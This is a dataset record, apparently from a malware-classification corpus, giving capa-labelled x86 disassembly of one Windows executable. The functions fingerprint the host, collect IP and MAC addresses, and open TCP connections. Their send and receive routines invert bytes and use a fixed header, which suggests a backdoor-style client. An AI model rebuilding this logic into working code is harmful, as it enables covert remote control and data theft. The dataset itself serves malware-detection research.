joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015ff
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x41904c]
xor eax, ebp
mov dword [ebp + 0x394], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push edi
push eax
mov dword [ebp - 0x80], edi
call fcn.004080b0
xor eax, eax
push esi
mov word [ebp + 0x18c], ax
lea eax, [ebp + 0x18e]
push edi
push eax
call fcn.004080b0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x78], ax
push 0x414d00
lea eax, [ebp - 0x7c]
push eax
mov ebx, 0x414d44
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4016a3
mov dword [ebp - 0x80], 1
push 0x414d50
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4016cb
or dword [ebp - 0x80], 2
push 0x414d98
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4016f3
or dword [ebp - 0x80], 4
push 0x414de8
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x40171e
or dword [ebp - 0x80], 0x100
push 0x414e40
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401749
or dword [ebp - 0x80], 0x200
push 0x414e98
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x401777
or dword [ebp - 0x80], 0x400
mov ecx, dword [ebp + 0x394]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
or eax, 0x2000000
call fcn.00404586
add ebp, 0x398
leave
ret
Function at 0x4018ca
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
mov eax, dword [0x41904c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.004080b0
add esp, 0xc
lea eax, [ebp - 0x3a0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x41b840
call fcn.00401a6e
pop ecx
test eax, eax
jne 0x4019c5
movzx ecx, word [eax + 0x414ef8]
mov word [eax + 0x41b9e8], cx
inc eax
inc eax
cmp cx, bx
jne 0x401925
push 0x414f04
push 0x40
push 0x41b844
call fcn.00404595
add esp, 0xc
push 0x414f20
push 0x10
push 0x41b8c6
call fcn.00404595
add esp, 0xc
push 0x414f2c
push 0x40
push 0x41b8e6
call fcn.00404595
add esp, 0xc
push 0x51
pop eax
mov word [0x41b8c4], ax
mov eax, 0x2b70
mov word [0x41b966], ax
xor eax, eax
movzx ecx, word [eax + 0x414f48]
mov word [eax + 0x41b9c8], cx
inc eax
inc eax
cmp cx, bx
jne 0x40198c
mov edi, 0x41b9c8
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x4019a8
mov esi, 0x414f58
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x41ba08], 5
call fcn.00403250
lea edi, [ebp - 0x210]
call fcn.004031b0
xor eax, eax
movzx ecx, word [ebp + eax - 0x210]
mov word [eax + 0x41b800], cx
inc eax
inc eax
cmp cx, bx
jne 0x4019d7
mov esi, 0x41b800
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, ebx
je 0x401a0e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401a44
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401a0a
push 0x414f2c
call fcn.00403300
pop ecx
mov dword [0x41b6c8], eax
call fcn.00401794
push ebx
push ebx
push ebx
push 0x4036a0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404586
leave
ret
Function at 0x401b00
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x41904c]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor esi, esi
mov dword [ebp - 0x80], esi
cmp ebx, esi
je 0x401bf1
cmp edi, esi
je 0x401bf1
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401b36
sub eax, edx
sar eax, 1
je 0x401bf1
xor eax, eax
push 0x206
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push esi
push eax
call fcn.004080b0
add esp, 0xc
cmp dword [ebp + 0x19c], esi
jne 0x401b97
cmp dword [0x41a070], 3
jne 0x401b97
mov esi, 0x104
push esi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414f7c
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404604
add esp, 0xc
jmp 0x401ba7
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00404604
and dword [ebp - 0x7c], 0
push 0x414f80
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004048e7
add esp, 0x18
cmp dword [ebp - 0x7c], 0
je 0x401bf1
push dword [ebp - 0x7c]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404bda
push dword [ebp - 0x7c]
call fcn.00404c6e
add esp, 0x14
mov dword [ebp - 0x80], esi
mov ecx, dword [ebp + 0x190]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
pop esi
call fcn.00404586
add ebp, 0x194
leave
ret

Function at 0x401c9c
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x41904c]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
xor esi, esi
call fcn.004080b0
and dword [ebp - 0x80], esi
add esp, 0xc
test edi, edi
je 0x401d30
lea eax, [ebp - 0x7c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x414f60
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00404604
push 0x414fa0
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.004048e7
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x80], 0
je 0x401d30
push dword [ebp - 0x80]
push esi
push 0x200
push edi
call fcn.00404e4c
push dword [ebp - 0x80]
call fcn.00404c6e
add esp, 0x14
mov ecx, dword [ebp + 0x18c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404586
add ebp, 0x190
leave
ret
Function at 0x402527
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x41904c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.004080b0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.004080b0
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401c0a
pop ecx
test eax, eax
je 0x402650
xor eax, eax
movzx ecx, word [eax + 0x414f2c]
mov word [eax + 0x41b4f8], cx
inc eax
inc eax
cmp cx, si
jne 0x402587
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x41b3f0], cx
inc eax
inc eax
cmp cx, si
jne 0x40259e
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x41b470], cx
inc eax
inc eax
cmp cx, si
jne 0x4025b6
cmp dword [0x41a070], 3
mov ax, word [ebp - 0x38c]
mov word [0x41b4f0], ax
mov ax, word [ebp - 0x2ea]
mov word [0x41b578], ax
mov dword [0x41b57c], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x40260e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40262b
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x417208
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404604
add esp, 0xc
push 0x414f88
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404604
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404586
leave
ret

Function at 0x402660
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x11c
lea eax, [esp + 4]
push 0
push eax
mov dword [0x41a070], 0
call fcn.004080b0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402719
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x4026de
mov eax, dword [esp + 8]
cmp eax, 2
jae 0x4026bf
cmp eax, 1
jne 0x402719
mov dword [0x41a070], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404586
add esp, 0x120
ret
cmp eax, 6
jne 0x402719
mov eax, dword [esp + 8]
test eax, eax
jne 0x40270a
mov dword [0x41a070], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404586
add esp, 0x120
ret
cmp eax, 1
jne 0x402719
mov dword [0x41a070], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00404586
add esp, 0x120
ret
Function at 0x402730
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.004080b0
add esp, 0xc
cmp dword [0x41a070], 3
jne 0x402790
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416eac
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00404604
add esp, 0xc
jmp 0x40279f
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x417184
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.00404586
add esp, 0x20c
ret

Function at 0x402980
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402b90
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402ca0
cmp eax, 0xffffffff
jne 0x402a02
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00404586
add esp, 0x218
ret
push esi
call fcn.004028a0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0x218
ret

Function at 0x402a30
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.004080b0
add esp, 0xc
cmp edi, 0xffffffff
je 0x402b10
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402b10
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x402acd
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x402ae3
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x402af9
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x402b10
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0x228
ret
Function at 0x402b30
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x402b84
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x402de0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x41720c
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.004048e7
add esp, 0xc
test eax, eax
je 0x402e04
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.00405472
mov eax, dword [esp + 0x1c]
push eax
call fcn.00405694
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.00405472
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.0040525c
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.00404bda
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00404c6e
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.00402ec0
mov edx, dword [esp + 0x4c]
push 0x417214
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.004048e7
add esp, 0x40
test eax, eax
je 0x402e85
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.00404e4c
mov edx, dword [esp + 0x20]
push edx
call fcn.00404c6e
add esp, 0x14
test esi, esi
je 0x402ead
push esi
call fcn.00405326
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4034a0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403519
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x4034f1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403522
cmp ebx, 3
jb 0x4034b5
mov edi, 0xfffffffd
test esi, esi
je 0x403511
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x4034fc
mov eax, esi
test esi, esi
je 0x40358e
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40353c
cmp dword [eax + 0x1c], 0
jne 0x403547
mov eax, dword [eax + 8]
test eax, eax
jne 0x403531
xor edi, edi
jmp 0x403501
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403501

Function at 0x403890
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.004039c0
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40399e
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004080b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.004080b0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41ae70
cmp word [esi], 0
je 0x40393e
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00404595
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00404604
add esp, 0xc
add esi, 0x118
cmp esi, 0x41b3e8
jl 0x403908
mov esi, 0x41ae70
cmp word [esi], 0
je 0x403962
push ebx
push edi
push esi
call fcn.00404220
add esp, 0xc
add esi, 0x118
cmp esi, 0x41b3e8
jl 0x403951
push 0x41bc40
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00404604
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40399c
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00404586
add esp, 0x41c
ret
Function at 0x403bd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403bfb
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403c30
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404586
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403c18
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403c6c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403cc5
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403cc5
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00404586
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403cd4
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00404586
add esp, 0x9b0
ret

Function at 0x403e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x403eb2
cmp edi, eax
jle 0x403e5d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x403e50
lea ebx, [edi + 7]
push ebx
call fcn.004058af
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x41a074]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x41a078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00408c70
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403eb6
cmp eax, ebx
jne 0x403eb6
mov dword [esp + 0xc], 1
jmp 0x403eb6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403ec3
push esi
call fcn.00405c7a
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404090
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x41904c]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4040d1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4041ed
test edx, edx
je 0x4041ed
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.004080b0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404205
test eax, eax
je 0x404205
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.004058af
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4041db
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4041b9
test eax, eax
je 0x4041b9
add esi, eax
cmp edi, esi
jg 0x404144
cmp esi, 5
jl 0x4041db
mov ecx, dword [0x41a074]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4041db
mov dl, byte [ebx + 4]
cmp dl, byte [0x41a078]
jne 0x4041db
test esi, esi
jle 0x40419c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404190
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4041c1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408c70
mov dword [edi], esi
jmp 0x4041d0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4041db
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408c70
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4041e8
push ebx
call fcn.00405c7a
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00404586
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00404586
add esp, 0x8d8
ret